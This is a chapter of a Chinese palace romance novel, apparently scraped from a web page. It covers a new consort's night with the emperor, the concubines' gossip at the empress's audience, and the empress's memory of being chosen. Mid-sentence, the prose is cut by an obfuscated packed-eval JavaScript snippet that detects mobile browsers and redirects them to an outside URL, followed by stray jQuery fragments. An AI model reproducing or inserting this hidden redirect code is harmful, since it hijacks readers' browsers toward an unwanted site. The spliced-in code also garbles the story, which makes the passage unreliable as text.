2. 皇后
    因是初次承欢,元徽帝又兴致颇高,直至一夜结束,沈姎累的差点无知无觉睡死在酣梦里。不过肃宁侯夫人给她自幼便定了卯初起床的规矩,即便睡得再死,到点还是会睁开眼瞧一瞧。

    绡纱账外,楚祈已穿戴一新,沈姎腹诽,做皇帝就是不一样,龙精火虎。

    似感受到沈姎灼灼视线,楚祈走过来轻捏沈姎的脸蛋:“爱妃如此盯着朕,难道朕脸上长花了。”

    “表哥好看。”沈姎如此直白的说完,心里还是有一丝羞怯的,不好意思的蒙进被子里,过了一会儿,依旧探出一双亮闪闪的眼睛往外瞧。

    虽然沈姎有一早上拍皇帝马屁的成份,却也真心夸赞。

    此时正值东边朝阳初升,破晓霞光自寝殿的菱花窗格照进来。楚祈一身银白色缎绣金龙纹十二章朝服,头戴垂珠玉冠,鼻梁高挺,目有精采,既有世家公子的清贵倜傥,又有上位者不怒自威的庄重威严。这就是少年帝王,正是意气风发的时候。

    两人俱在朝阳霞光里,沈姎眼睛亮闪闪的,白嫩嫩的脸蛋,总让楚祈想起夏日里剥开壳的荔枝肉,捏上去软乎乎的,又滑又嫩,让人想咬上一口。

    正想着,楚祈就这么做了。

    “表哥?”沈姎吃痛的叫出声,她本就是娇气的主儿,“表哥为何总是爱捏臣妾的脸?”还咬?

    反应过来的楚祈也觉得自己是色谜心窍了,心虚道:“若朕说,表妹也太好看了呢?”

    沈姎本生气地红着眼眶,听了这话,噗哧一笑。软帐内,楚祈闻到她身上若有若无的香气,似蜜桃般带着甜味儿,倾身覆上去,二人再次痴缠了好一会儿。

    “臣妾今天怎么见人?”沈姎捂着腮肉,不用问都知道,上面肯定都有牙印了。

    “是朕有些过了。”楚祈摸摸沈姎被啃红的脸蛋,轻哄道,“今儿好好歇着,不必向皇后请安了。”说罢未等沈姎反应,理理朝冠便上朝去了。

    楚祈一走,秦筝楚弦便匆匆赶了进来:“可要伺候娘娘梳洗。”按例,新晋嫔妃侍寝后的第一日是要向皇后请安的。

    沈姎摇头:“不必,叫人替本宫向皇后告假就是!”

    一来,皇上说不必,沈姎可不是委屈自个的主儿。二来,楚祈昨夜折腾的厉害,动一动,下身就抽痛的厉害

    “不过……”沈姎又道,“今日她们见不着本宫,必会想着法儿的打探,看好咱们宫里的人。”说罢继续昏天暗地的补眠。

    …………

    “听说那位颜色极好,是鼎鼎有名的京城第一美人儿,就连普济寺的和尚见了,都想还俗呢。”

    “出身高贵又如何,不也是学着狐媚招数自半夜勾人。”

    “听说,昨晚上叫了三次水呢!”

    “哼!刚来就闹这么大动静,往后可有的折腾……”

    “看着架势,指定是不好相与的。”

    坤宁宫头一次,未到请安时辰,就聚齐了满宫嫔妃。

    有人摇着团扇满是不屑,有人支着耳朵听热闹,亦有人伸着脖子望那位艳名远播的嬉妃,到底是何姝色?

    “庄嫔姐姐,你就住长宁宫边上,昨晚……真叫了?”赵贵人虽美,却是嘴碎的,因着皇后未到,与瞧热闹的朱修华、乔贵人等越聊越开,于是缓缓伸出手腕,比了个“三。”

    庄嫔爱听戏,夹着戏腔道,“风雨皱春池,几度芳菲歇;这话,赵妹妹该留着见嬉妃再问。”

    赵贵人捂着帕子笑:“我敢问,只怕那位嬉妃不好意思答。”

    正这时,只听一道温婉和气的女声传进来:“大家都在笑什么呢?”荣皇后一袭晚烟紫绣折纸牡丹宫裙,头戴紫金凤冠,冠子左右又插一对双凤衔珠展翅金步摇,巴掌大的圆脸,眉目温和,很是高贵端庄,又亲近可人。

    赵贵人是元徽帝做秦王时就在潜邸服侍的老人,虽然无宠,但资历深,便是皇后亦不好轻易责罚:“回皇后娘娘,嫔妾们听闻,新来的嬉妃娘娘是大晋第一美人,姐妹们都在等着一饱眼福呢。”

    皇后微微一笑,打量左右两排的六宫嫔妃。自大婚后,嫔妃辰时初向她请安,今日满宫嫔妃皆至,唯左手边的上首位,一直空着。

    “回皇后娘娘,长宁宫的宫人来告假,说是嬉妃娘娘侍寝辛苦,今日来不了了。”坤宁宫的大宫女连翘高声禀告道。

    这话一出,各宫嫔妃脸上各有各的精彩。除了嬉妃顺妃,在座的大都是从前楚祈做秦王时伺候的老人,素知楚祈极重规矩,最不喜女人恃宠生娇,王府里的上下尊卑,可是一点也乱不得。

    于是大家都在等着看好戏,看这新皇后,敢不敢治新宠妃。

    荣皇后将各宫嫔妃的脸色尽收眼里,微微笑道:“嬉妃妹妹伺候皇上辛苦,今日是该好好歇着。都说嬉妃妹妹是难得一见的美人儿,本宫这里有几匹颜色鲜亮的料子,正适合嬉妃妹妹做衣裳。连翘,一道送去罢。”

    皇后如此轻拿轻放,在有心人眼里,可就是有些软弱可欺了。

    “皇后娘娘待嬉妃,可真是格外宽厚。”说话的是庆妃云氏,是宫中除沈姎和顺妃外又一位正二品妃位,其父云常兴是楚祈新封的兵部尚书,颇有家世。

    皇后哪里听不出庆妃奉承她宽厚的话并无多大敬意,暗自掐了掐手心提神应对:“不止嬉妃,大家同为后宫姐妹,都是一家人,本宫身为皇后,自是要尽力照顾各位妹妹们。”

    庆妃好笑的指甲抚过鬓角,对着荣皇后道:“如此,皇后娘娘,臣妾起的早也累了,可否容臣妾回去休息。”庆妃年岁比皇后大一些,加上惯常一身魏紫宫装,气势上,说是压皇后一头也不为过。

    皇后的笑意僵在脸上,才说要照顾诸位姐妹,人家就与她请辞,这许与不许都是在打自己的脸。而余下坐着的诸妃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606818|143392||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,没有一个要为她打圆场的意思,皇后闭上眼,“退吧。”

    庆妃轻笑一声,站起身告辞。不到一刻钟,坤宁宫的正殿里,只余皇后支颐独坐。“娘娘起的早,可要再歇一歇?”降香担忧问道。

    皇后摇摇头:“下去吧。”

    事实上今日一早,乾元殿的小太监带来元徽帝给嬉妃告假的口谕,只是皇后有意在后宫诸妃面前按下不提。皇后是想等等看,嬉妃本人愿不愿做请安这表面功夫。如今看来,沈姎是请安这表面功夫都不肯做的。

    皇后再贤惠,心里对沈姎的忌惮还是免不了的,既是出身一门五侯的沈氏,又有与元徽帝青梅竹马的情谊。

    而荣皇后自己和元徽帝成婚不过三月,彼此之间实在谈不上什么情谊。

    荣卓蕙记得第一次见楚祈,她和其余三个待选的高门贵女一同站在乾元殿中,大家都低着头,只能看见御案下那片银锈色的袍角。

    “你们说说,该如何当一个皇后?”头顶传来低沉清冽的问话,不带任何情绪。

    一女上前仰起头答:“皇上是天子,日月主宰,万物灵长,皇后当如羲和,御日月星辰,辅佐皇上,共治大晋。”

    第二个贵女上前屈膝答道:“回皇上,臣女熟读《女则》《女戒》,皇后应当做好六宫表率,使皇上专心国事,无内廷烦扰。”

    第三个贵女低着头,连上前答话都忘了,双手紧张的握着系在腰间的宫绦,答的磕磕绊绊:“臣女……在家听父亲的,入了宫,臣女听皇上的,皇上说怎么做,臣女便怎么做。”

    前三位贵女的答话通通被元徽帝否了,轮到荣卓蕙时,她想起家中颇受父亲敬重的母亲,上前先是恭恭敬敬的向元徽帝行大礼,然后一字一句端庄的回道:“回皇上,臣女认为,皇后当如大海,后宫诸妃是江山里的万千溪流,海纳百川,有容乃大。”

    头上久久没有说话,元徽帝也没有像否掉前三位贵女那般否决她,等待,是最折磨人心的,就在荣卓蕙以为此生要与皇后之位失之交臂时,一双绛色软底绣金龙如意云纹皂靴出现在她跟前,一句清冽的“赏”,乾元殿总管太监赵无极向她递上一柄成色上佳的玉如意:“恭喜荣姑娘。”

    从乾元殿出宫城的路上,不同于她来时只带一个侍女,这次有专护天子的羽林卫护送她回荣府,从去时的青帷小轿,到坐在朱红翟车上一览汴京风光,看着沿街百姓好奇艳羡的目光,荣卓蕙只觉心中涩涩的,害怕压过高兴。荣卓蕙是家中长女,没有人比她更清楚母亲做家中主母的苦处,一家人虽有做太傅的祖父官威在,但荣卓蕙父亲官职不高且又不善经营,养了十几房姨娘,就连她进宫待选的头面首饰,还是母亲变卖家中田产添置的,剩下的,还要继续给父亲那些厉害的侧室姨娘们嫁女娶妇用。

    荣皇后幽幽叹口气,仿佛看见自己弓着头打着珠算,变成了母亲的样子。